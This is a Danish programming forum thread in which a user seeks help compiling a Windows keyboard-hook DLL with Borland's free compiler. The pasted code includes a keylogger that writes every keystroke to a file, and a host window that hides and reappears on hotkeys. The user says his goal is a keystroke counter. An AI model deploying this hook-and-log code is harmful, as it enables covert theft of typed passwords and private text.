07. juni 2004 - 10:58Der er
31 kommentarer og 1 løsning
Kompile DLL med Borland C++ Freecompiler 5.5
Hej, jeg sidder her med noget kode, som skal kompileres til en DLL (jeg har den færdige dll - hentet fra nettet) Men ville gerne kompilere den selv. Og med bcc32 virker dll'en ikke!
jeg har forsøgt med:
bcc32 -twd dll.cpp
Men filer bliver på 48kb! Den jeg hentede på nettet var 44kb!
Og mit program fejler i GetProcAddress, hvilket den ikke gør med den fra nettet...
//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit the dll project file in order to capture all the keystokes.
if (msg1==WM_DESTROY) PostQuitMessage(0); if(msg1==WM_TIMER) { if (GetAsyncKeyState(VK_F9)) ShowWindow(hwnd,SW_HIDE); if (GetAsyncKeyState(VK_F10)) ShowWindow(hwnd,SW_SHOWNORMAL); } return DefWindowProc(hwnd1,msg1,w_param,l_param); }//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit the dll project file in order to capture all the keystokes.
if (msg1==WM_DESTROY) PostQuitMessage(0); if(msg1==WM_TIMER) { if (GetAsyncKeyState(VK_F9)) ShowWindow(hwnd,SW_HIDE); if (GetAsyncKeyState(VK_F10)) ShowWindow(hwnd,SW_SHOWNORMAL); } return DefWindowProc(hwnd1,msg1,w_param,l_param); }
DLL'en:
//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit this file in order to capture all the keystokes.
#include <windows.h> #include <fstream.h> bool casematch; SHORT ad;
extern "C" { __declspec(dllexport) LRESULT CALLBACK KeyboardHookProc( int code,WPARAM key, LPARAM lParam) { ofstream out; out.open("c:\\keylog.log",ofstream::out | ofstream::app); if (code != HC_NOREMOVE) if (lParam<0) //if (((key>45) && (key<91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key { char res; res=char(key); ad=GetKeyState(VK_SHIFT); if (ad < 0) casematch= TRUE; else casematch=FALSE; if (casematch==FALSE) strlwr(&res); if (casematch==TRUE) strupr(&res); out<<res; } out.close(); flush(out); return CallNextHookEx(NULL, code, key, lParam); } }
Jeg forsøger at lave en KeyStroke Counter... (så det er ikke noget fusk) :o)
Og desværre ikke helt alligevel! Den tæller antal tastetryk pr vindue...
Måske noget du kan se fejlen på, her kommer koden:
// You May Use this code for educational purposes only(what the heck!!!) ,if u do something big with this code //do send me a mail and if possible give me credit for this.Comments,Suggestions,Questions???,send it to venky_dude@yahoo.com
//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit the dll project file in order to capture all the keystokes.
LRESULT CALLBACK WndProc( HWND hwnd, // handle to window UINT uMsg, // message identifier WPARAM wParam, // first message parameter LPARAM lParam) // second message parameter { //char cAntalTryk[255]; TCHAR lpszBuf[256]; BOOL fInit, fIgnore; switch (uMsg) { case WM_CREATE: // Initialize the window. // Create a named file mapping object.
hMapObject = CreateFileMapping( INVALID_HANDLE_VALUE, // use paging file NULL, // default security attributes PAGE_READWRITE, // read/write access 0, // size: high 32-bits SHMEMSIZE, // size: low 32-bits "dllmemfilemap"); // name of map object if (hMapObject == NULL) { error("CreateFileMapping"); break; }
// The first process to attach initializes memory.
fInit = (GetLastError() != ERROR_ALREADY_EXISTS);
// Get a pointer to the file-mapped shared memory.
lpvMem = MapViewOfFile( hMapObject, // object to map view of FILE_MAP_WRITE, // read/write access 0, // high offset: map from 0, // low offset: beginning 0); // default: map entire file if (lpvMem == NULL) { error("MapViewOfFile"); break; }
// Initialize memory if this is the first process.
if (fInit) memset(lpvMem, '\0', SHMEMSIZE);
break;
/*case WM_PAINT: // Paint the window's client area. return 0;
case WM_SIZE: // Set the size and position of the window. return 0; */
case WM_TIMER: // Trigger when the timer i running. GetSharedMem(lpszBuf,256); SetWindowText(hwnd4,lpszBuf);
if (GetAsyncKeyState(VK_F5)) { GetSharedMem(lpszBuf,256); MessageBox(NULL,lpszBuf,"Cool",MB_OK); } if (GetAsyncKeyState(VK_F9)) ShowWindow(hwnd,SW_HIDE); if (GetAsyncKeyState(VK_F10)) ShowWindow(hwnd,SW_SHOWNORMAL); break;
case WM_DESTROY: // Clean up window-specific data objects.
// Unmap shared memory from the process's address space. fIgnore = UnmapViewOfFile(lpvMem);
// Close the process's handle to the file-mapping object. fIgnore = CloseHandle(hMapObject);
// GetSharedMem gets the contents of shared memory. VOID GetSharedMem(LPTSTR lpszBuf, DWORD cchSize) { LPTSTR lpszTmp;
// Get the address of the shared memory block. lpszTmp = (LPTSTR) lpvMem;
// Copy from shared memory into the caller's buffer. while (*lpszTmp && --cchSize) { *lpszBuf++ = *lpszTmp++; } *lpszBuf = '\0'; }
DLL-delen:
// You May Use this code for educational purposes only(what the heck!!!) ,if u do something big with this code //do send me a mail and if possible give me credit for this.Comments,Suggestions,Questions???,send it to venky_dude@yahoo.com
//The program currently just checks for alpha numeric keys,i.e alphabets and numbers only.You can edit this file in order to capture all the keystokes.
#include <windows.h> #include <fstream.h>
VOID SetSharedMem(LPTSTR); void error(LPSTR);
int tasteTryk = 0;
extern "C" { __declspec(dllexport) LRESULT CALLBACK KeyboardHookProc(int code,WPARAM key, LPARAM lParam) { if (code != HC_NOREMOVE) { if (lParam<0) { if (((key>45) && (key<91)) || (key==32) )//This part captures only the following keystokes a-z ,0-9 and the space key { char buf[256]; sprintf(buf,"%d",tasteTryk++); //Skriv til mappedfile... SetSharedMem(buf); } } } return CallNextHookEx(NULL, code, key, lParam); } }
// SetSharedMem sets the contents of shared memory. VOID SetSharedMem(LPTSTR lpszBuf) { HANDLE hMapFile; LPVOID lpMapAddress;
hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, // read/write permission FALSE, // Do not inherit the name "dllmemfilemap"); // of the mapping object.
if (hMapFile == NULL) { error("Could not open file mapping object."); }
Jeg har løst det med noget crapcode, så jeg læser indholdet af Shared Memory, tæller 1 op, og skriver det til Shared Memory, så nu tæller den korrekt i alle programmer...
Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.